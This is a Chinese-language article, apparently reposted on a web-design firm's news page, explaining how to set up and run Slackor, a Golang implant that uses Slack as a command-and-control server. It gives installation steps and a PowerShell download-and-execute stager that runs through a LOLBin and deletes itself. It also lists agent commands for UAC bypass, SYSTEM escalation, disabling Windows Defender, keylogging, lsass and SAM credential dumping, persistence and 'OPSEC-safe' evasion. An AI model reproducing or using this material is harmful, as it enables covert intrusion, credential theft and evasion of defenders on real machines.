如何将Slack当作你的命令控制服务器,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
创新互联公司坚持“要么做到,要么别承诺”的工作理念,服务领域包括:网站设计制作、成都网站设计、企业官网、英文网站、手机端网站、网站推广等服务,满足客户于互联网时代的新县网站设计、移动媒体设计的需求,帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴!
Slackor是一款Golang植入,它可以将Slack作为你的命令控制服务器。
注意:该工具目前仅处于概念验证模型阶段,请在创建任何Slack应用之前,确保应用符合Slack App开发者政策。
Slackor服务器端采用Python 3开发,在使用该工具之前,你需要满足以下条件:
1、 一个Slack工作区;
2、 以下列权限注册一个App:
channels:readchannels:historychannels:writefiles:write:userfiles:read
3、 创建一个BOT;
Slackor项目中包含五个文件:
1、install.sh:安装依赖组件2、setup.py:这个脚本可以创建Slack信道、数据库和植入程序3、agent.py:这个脚本可以生成新的植入程序4、server.py:Slack服务器,可在Linux平台上运行5、agent.go:Golang植入程序6、requirements.txt:Python依赖(自动安装)
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackor
运行了上述命令之后,运行“install.sh”文件,然后运行“setup.py”,此时需要你提供Slack应用程序的“OAuth访问令牌”以及 “Bot User OAuth访问令牌”。
成功运行上述脚本之后,还需要在项目的dist/目录中创建下列几个文件:
agent.windows.exe:Windows 64-bit 代码agent.upx.exe:Windows 64-bit 代码, UPX 封装agent.darwin:macOS 64-bit 代码agent.32.linux:Linux 32-bit 代码agent.64.linux:Linux 64-bit 代码
在Linux主机上运行server.py之后,工具会根据目标主机的情况自动选择上述代理程序。
我们可以使用“stager”模块来生成一个one-liner或其他Dropper:
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /msvchost.exe /c C:\Users\Public\[NAME]; timeout 2; delC:\Users\Public\[NAME].exe
这条命令将会执行InvokeWebRequest(PS v.3+)来下载Payload,并使用一个LOLBin来执行它。执行完成后,Payload会进行自毁操作。这只是一个仅供参考的使用样例,大家可以根据自己的需要来使用其他的下载方法或执行方法。
输入“help”或按下TAB键,我们就可以查看到该工具所支持的全部可用命令了,我们还可以输入“help [COMMAND]”来查看命令描述。
(Slackor:服务器端)help –显示帮助菜单interact– 与代理端交互list –列出所有已注册的代理remove– 终止或移除代理revive– 向所有的代理发送重新注册信号stager– 生成一个One-Liner下载并执行植入程序quit –退出程序wipefiles– 删除Slack中的所有上传文件
当代理端就绪之后,我们就可以跟它进行交互了。使用“interact [AGENT]”可以切换到代理端的命令行界面,然后输入“help”或按下TAB键即可查看代理端支持的所有可用命令。
(Slackor:代理端)
back –返回主菜单beacon– 修改代理确认时间间隔(默认为5秒)download– 从代理端下载文件至Slackor服务器help –显示帮助菜单kill –终止代理sleep– 代理休眠sysinfo– 显示当前用户、操作系统版本、系统架构和CPU核心数upload– 从代理端上传一份文件至Slackor 服务器wget –通过HTTP/HTTPS获取任意文件Windows命令bypassuac– 生成一个高完整性的代理cleanup– 移除持久性组件clipboard– 获取剪切板内容defanger– 尝试关闭WindowsDefenderduplicate– 生成代理端副本getsystem-使用NTAUTHORITY/SYSTEM权限生成代理keyscan– 在代理端开启键盘记录器minidump–导出lsass.exe内存信息并下载persist– 在ADS中创建持久性植入程序samdump– 尝试导出SAM文件,以供离线提取哈希特征screenshot– 获取屏幕截图shellcode– 执行x64元ShellcodeLinux命令screenshot- 获取屏幕截图
命令输出和下载的文件都采用了AES加密,额外的还有Slack的TLS传输层加密。
在执行需要向磁盘写入数据的任务时,模块会给用户发送提醒。在执行Shell命令时,cmd.exe/bash将会被执行,这种行为可能会被目标主机监控到。下面给出的是一些OPSEC安全命令,它们不会执行cmd.exe/bash。
cat –打印文件内容cd – 修改目录find –搜索目录文件名getip– 获取外部IP地址(发送一个DNS 请求)hostname– 显示主机名称ifconfig– 显示接口信息ls – 列举目录内容mkdir– 创建一个目录pwd –输出当前工作目录rm – 移除一个文件rmdir– 移除一个目录whoami/ getuid – 输出当前用户信息
看完上述内容,你们掌握如何将Slack当作你的命令控制服务器的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注创新互联行业资讯频道,感谢各位的阅读!